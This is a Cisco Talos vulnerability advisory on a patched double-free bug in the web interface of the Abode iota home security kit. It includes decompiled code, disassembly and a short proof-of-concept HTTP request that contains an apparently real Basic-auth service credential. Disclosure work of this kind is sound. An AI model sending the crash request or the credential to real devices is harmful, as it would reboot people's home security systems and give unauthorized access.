Talos Vulnerability Report


Abode Systems, Inc. iota All-In-One Security Kit web interface /action/ipcamSetParamPost double-free vulnerability

October 20, 2022
CVE Number



A double-free vulnerability exists in the web interface /action/ipcamSetParamPost functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to memory corruption. An attacker can make an authenticated HTTP request to trigger this vulnerability.


The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z


iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit


7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


CWE-415 - Double Free


The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The iota device contains a disabled-by-default local web interface that enables an authenticated user to interact with the device. When the WebServerEnable configuration parameter is enabled, the features exposed by this web interface are numerous. We are not aware of a method to enable the web server that is intended for use by end-users, though TALOS-2022-1552 or TALOS-2022-1553 would allow a remote attacker to enable the web server.

Of note for this report is the function associated with POST requests destined for /action/ipcamSetParamPost. The function responsible for handling the request (web_ipcam_set_param_post) is located at offset 0x1BCCEC of the /root/hpgw binary included in firmware version 6.9Z. We cannot discern the intention of this feature. The name would indicate that this is related to modifying parameters of the ipcam subsystem (or potentially connected ipcam devices) but no such functionality exists in the function itself.

void __fastcall web_ipcam_setparam_post(mg_connection *conn, mg_request_info *ri)
  size_t payload_len;
  signed int size;
  char *buffer;
  char payload[16];

  payload_len = http_collect_payload(conn, ri, payload, 15);
  payload[payload_len] = 0;

  // [1] Extract the `size` parameter from the POST request
  size = mg_get_var_as_int(payload, payload_len, "size", 0) << 7;

  // [2] Allocate a `(size << 7) + 16` byte buffer on the heap
  buffer = (char *)malloc(size + 16);

  if ( buffer )
    // [3] Copy the portion of the POST request that has already been extracted into the buffer
    memcpy(buffer, payload, payload_len);

    // [4] Extract up to `size << 7` more bytes of the request into the buffer
    http_collect_payload(conn, ri, &buffer[payload_len], size);

    // [5] Free the buffer

    // [6] Call a destructor on the buffer
    std::vector<int>::~vector((std::vector<int> *const)&buffer);
  else {
    err_str = strtable_get("WEB_ERR_OPERATION_ERR", 21);
    web_error(conn, 0, err_str);

At [1] an attacker-controlled size parameter is extracted from the POST request body, multiplied by 0x80, and then stored into the size variable located on the stack. At [2] a heap allocation of size+16 bytes is made. At [3] and [4] the entire content of the HTTP request is copied into the buffer. Between [4] and [5] we have excluded some irrelevant portions of the code, but we can truthfully say that the removed portions have no side effects on the system. We have not identified the intended purpose of this function, but it does not operate on the contents of the buffer at all prior to free()ing it at [5]. Finally, a pointer to the buffer is passed to the std::vector<int> destructor.

The implementation for the std::vector<int>destructor is quite straightforward:

.text:00105620 _ZNSt6vectorIiSaIiEED2Ev_0              
.text:00105620                 PUSH    {R4,LR}         ; Alternative name is 'std::vector<int, std::allocator<int>>::~vector()'
.text:00105624                 MOV     R4, R0
.text:00105628                 LDR     R0, [R0]        [a] Dereference the pointer
.text:0010562C                 CMP     R0, #0          [b] Ensure the dereferenced value exists
.text:00105630                 BEQ     loc_105638
.text:00105634                 BL      free            [c] Free the pointer
.text:00105638 loc_105638                              
.text:00105638                 MOV     R0, R4          
.text:0010563C                 POP     {R4,PC}

At [c] the dereferenced pointer (buffer) will be free’d, resulting in a double free, and sanity checks within free detect this state and initiate a SIGABRT. The process crashes somewhat gracefully and the entire system will reboot. While we believe there is a small likelihood that this vulnerability could be abused to gain code execution, we could not prove that the conditions necessary to avoid the SIGABRT existed.

A maliciously-formatted, authenticated web request submitted to this endpoint will result in a double-free heap corruption, the crash of the hpgw binary, and the watchdog reset of the iota device.

Exploit Proof of Concept

POST /action/ipcamSetParamPost HTTP/1.1
Authorization: Basic YWJvZGVzZXJ2aWNlMTU6MTIzNDU2Nzg5
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: abcd
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 8


2022-07-14 - Vendor Disclosure
2022-09-26 - Vendor Patch Release
2022-10-20 - Public Release


Discovered by Matt Wiseman of Cisco Talos.